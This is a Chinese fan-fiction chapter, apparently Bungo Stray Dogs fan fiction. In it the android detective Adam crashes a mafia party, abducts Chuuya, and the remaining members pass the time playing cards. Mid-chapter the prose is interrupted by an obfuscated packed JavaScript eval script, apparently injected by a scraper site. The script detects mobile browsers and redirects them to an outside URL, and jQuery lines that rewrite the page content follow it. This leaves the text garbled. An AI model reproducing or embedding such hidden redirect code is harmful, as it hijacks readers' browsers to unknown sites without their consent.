12. 关于我是如何配合表演的(二)
作品:《我的爸爸在哪里》 亚当不愧是第一批高级自助计算型机器人。
在现场快要失控时,这家伙总算赶到了。
然后,局面真的失控了。
钢琴家在亚当亮出欧协刑警徽章后大手一挥,解除了“不能使用异能”的禁令。其他人默契地上前对亚当进行围攻,而被攻击者也是有些实力在身上的,以一敌六的同时还能分心精确地控制住呆在一旁的我。
我此刻才反应过来,在旗会眼里,亚当是个不折不扣的陌生人啊!
这么一想,眼下这个结果倒也不是不能接受了。
我的接受度一向都很良好。
但宣传官似乎不这么想。
他可能单方面认为我这个毫无作战能力的副首领一旦被控制住就离嗝屁不远了,于是,他没等钢琴家问完话,就操起武器冲了上来。
台球桌被应声劈成两半,而我那位列第一的分数牌也在此刻英勇牺牲。
......故意的吧?完全是赢不了我故意的吧?!这个结果我绝对不能接受!
“干什么呢,宣传官!这个桌子的钱从你工资里扣!”
“啊......啊?不要啊,雪奈!”
场面陷入混乱,亚当找准时机,一跃落在中也面前。他垂下头,以面对贵人时使用的最高礼仪单膝跪地。
“中也大人,本机是来保护你的。”
“......哈?”
呼——我松了一口气,表演,终于开始了。
****
颜色各异的球在空中飞舞。
亚当站在球桌的尸体上,将台球抛了起来。他十分熟悉抛接球的要领,两只手一接一抛,九个冷冰冰的台球画出不同高度的复杂圆弧,像蝴蝶一般在空中翩翩起舞。
我们七个人围坐在一起,露出崇拜的眼神。
“本机不理解......这位小姐。”表演结束之际,亚当把球一个个扔向脚底下的台球桌,所有球都落进了口袋。
然后亚当低头,开口问道:“为什么要以这种观摩动物的方式将本机放在中间?”
“哎?你竟然看出来了吗?”我眨眨眼,“不愧是第一自主思考型计算机啊。”
“......围观动物?”信天翁喃喃自语,“我怎么没看出来?”
我选择忽视这个问题。
“欧洲的异能技术研究比日本更高级,同时还培养了大量的异能技师。”医生露出阴沉的笑容,“我应该把这种技术用在我的病人身上......”
“你先在信天翁身上试试水吧。”我拍拍他的肩膀,看向亚当,“不介绍一下自己吗,刑警先生?”
亚当露出一个迷惑的眼神,随后朝我们鞠了一躬,进行了自我介绍。
“喜欢的东西是橡子?好独特的爱好。”钢琴家说,“身为计算机为什么会讨厌金属检测仪呢?”
“因为那会让本机知道自己不是人类。”亚当回答道,“和中也大人不会做梦一样。”
“喂!”
天花板骤然一抖,落下簌簌的灰沉。宣传官及时按住了即将暴怒的赭发少年,小声说道,“冷静点,中也,房子要塌了的话,维修的钱肯定会从你的工资里扣的!”
中也:......
在我幽幽的目光中,他罕见地安静了下来。
“我还有一个问题。”信天翁举手,“为什么要建立只有机器的形式机构?”
“因为人类是不完美且非逻辑性的,只有机器才不会出错。”
冷血抓住了他话里的漏洞,毫不客气地追问道,“那你为什么会讨厌‘不是人类’的感觉呢?”
“因为本机有要保护的人。”亚当毫不畏惧地对上了他的目光,认真回答道,“为了他,本机会克服自己的本能,但不会扼杀自己的梦想。”
所有人沉默了下来。
直到钢琴家碰了碰我的手,我才开口问道,“即便如此,问题也没有解决。黑手党和刑警可是天敌,你怎么保证不把这些情报报告给当局?”
“......”一时间,让所有人沉默的亚当,此刻陷入了更深的沉默。他欲言又止,止又欲言,在七道意义不同的目光下,最后对我露出了一个极为复杂的表情。
翻译一下,可能就是——你确定自己是在配合我演戏而不是来砸场子的么?
“哇,好精彩的表情啊!”我愉快地回望过去,慢吞吞地说道,“可惜了......”
我叹气,在心里默默补充,可惜不能拍照啊。
......嗯,等等?
我环视全场,突然得出一个结论——
谁说不能?
我才是地位最高的那个吧。
我掏出手机,点开相机后突然闪退了一下,趁这个间隙亚当迅速调整好状态,又变成一本正经的,属于计算机的样子。
......可恶啊!
“关于这点还请您放心。”亚当行了个抚胸礼,“本机只有抓捕魏尔伦这一个任务。除此之外的内容,本机并没有报告的义务。”
“为什么?”我继续追问。
“关于这点,本机稍后会进行说明。”亚当依旧笑着说,“魏尔伦是中也大人的哥哥。”
“什么!”
“哇哦!”
“兄弟残杀?”
气氛一下子热闹了起来。
“哥哥吗......”我故作思考,在心底默默竖起大拇指,这招围魏救赵实在高明。
“他在说谎。”中也瞪着所有人:“他一定在说谎,魏尔伦?暗杀之王?我的哥哥?怎么可能?这种事情根本不会发生。”
我好奇地看过去,“为什么?”
没错,我就是一个只会问为什么的冷酷机器。
“因为,魏尔伦,已经——”中也的目光落在虚空处,仿佛回到了过去。
“死了。”
“什么!”
“哇哦!”
“死而复生?”
气氛再次热闹起来,中也迟疑地讲起了过去。
“等等等等——假首领复活事件?”信天翁变形的声音脱颖而出:“那件事情的主谋不是兰堂大哥吗?难道兰堂大哥就是……”
他看向我。
我点头。
“什么!”
“哇哦!”
“不可思议!”
“......安静一点!”我大喊。
这反馈是不是过于良好了?
“杀了兰堂的是我。”中也握拳,“魏尔伦已经死了。”
“不,中也大人。”亚当毫无感情地说道,“他还活着。”
“你要怎么证明?”我换了个姿势,继续追问。
“本机自会证明。”亚当抬起手腕,钢丝从肘部射出,旋转着缠绕住中也。
“抱歉了,黑手党,我先借走中也大人六十分钟。”
他一边说着,一边搬着中也跳道窗外的屋顶上,临走前给了我一个“你加油”的鼓励眼神。
整个过程不超过三十秒。至此,这场派对的主角离开了。
我:......
完蛋了,好像玩大发了。
二者的身影消失在夜色中。
“喂喂喂喂——”信天翁揽住我的肩膀,“副首领,这个,”他指指窗外,“没事吧?”
“中也在我们眼皮底下被拐走了。”宣传官走了过来,“大人,这种情况算是个大问题吧?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135671|196262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“不会的。”
“我赞同。”钢琴家的表情十分明朗,“既然计算机先生让我们等六十分钟,那在此之前,我们就打打球喝喝酒,消磨一下时间吧。”
“六十分钟啊......相当于黄金一小时呢。”冷血点头,“话说,这种程度的智能生命体,真的能被异能者创造出来吗?医生,你怎么看?”
“酒不够啊。”医生呆呆地望向窗外,“我记得是异能技师吧?”
钢琴家:“有区别吗?”
医生:“区别大了。”
信天翁:“刚才轮到谁了?”
我:“宣传官。”
信天翁:“怎么可能!这家伙不是最后一名吗?”
我:“所以,这就是球桌坏掉的的理由吗?”
所有人:“......”
“你们都盯着我干嘛?”肇事者站在中间,一脸无辜,“我可是公众人物!”
“已经联系后勤部了,新球桌待会就到。”我按灭手机屏幕,补充道,“当然,走的是这位公众人物的账。一张定制的Shender,直接从德国空运。”
“哇哦!”信天翁惊呼,“真是下了血本啊。”
冷血若有所思,“嗯,算是因祸得福吗?”
“果然,女人心,海底针啊。”医生补充,“话说公众人物,你上次和那个德国女明星是怎么回事?”
肇事者此刻正心痛地捂住胸口,“我现在只想和我的珊珊单独呆一会......雪奈,你好狠的心,你和它都是从德国来的吗?”
“驳回,账单已经发了。”
“可恶。”
“既然这样的话,”钢琴家突然发声,变戏法似的从怀里掏出两个长方体,愉快地说道,“在珊珊小姐到来之前,我们先打会儿牌如何?至少弄坏了我赔得起。”
过了一会————
“哈哈!我又赢了!人生果然是有得必有失啊!”宣传官将手里的牌一扔,顺手将纸条贴在我脸上,“第十三张!”
“欸——等等,你这家伙怎么跑的?”信天翁低头翻了翻牌堆,“4、5、6、7、8、9......”
冷血耐心解释道,“两头的牌数互质,4和9、5和8......而且这也是一幅顺子,正好符合雪奈给出的题目。”
信天翁:“什么是互质?”
我举手:“我要求更换队友。”
“输了的人可没有提条件的资格哦。”医生将牌混在一起,“现在的战况是......一比三,你们三个再不努力就要输了哦。”
“抗议!我要抗议!”
钢琴家:“抗议无效。”
“你这家伙!”我踹了他一脚,“你到底是哪边的?”
“啊!”信天翁突然大叫一声,等所有人看过去后一脸高兴地说道,“互质就是两个整数的最大公因数为一啊!”
“......换队友!我要换队友!把我换过去也可以啊!”
“雪奈你冷静一点啊!”
宣传官:“那我们下把玩数字黑洞模式吧!”
“嗯......什么是数字黑洞?”
“我求你了,信天翁。”我躺在地上,崩溃地说道,“你对数字的理解不能加强一点么?”
“是啊。”钢琴家补充,“想要往上走,数字也是必要的啊。”
屋内外充满了快活的空气。
——直到敲门声响起。
邮递员站在门口。
“打扰了,黑手党。”男人抚胸行礼,声音平稳地落下,“雪奈大人,首领传唤您。”
随后,他缓缓抬起头。
黑色帽檐下,露出一双鸢色的眼睛。

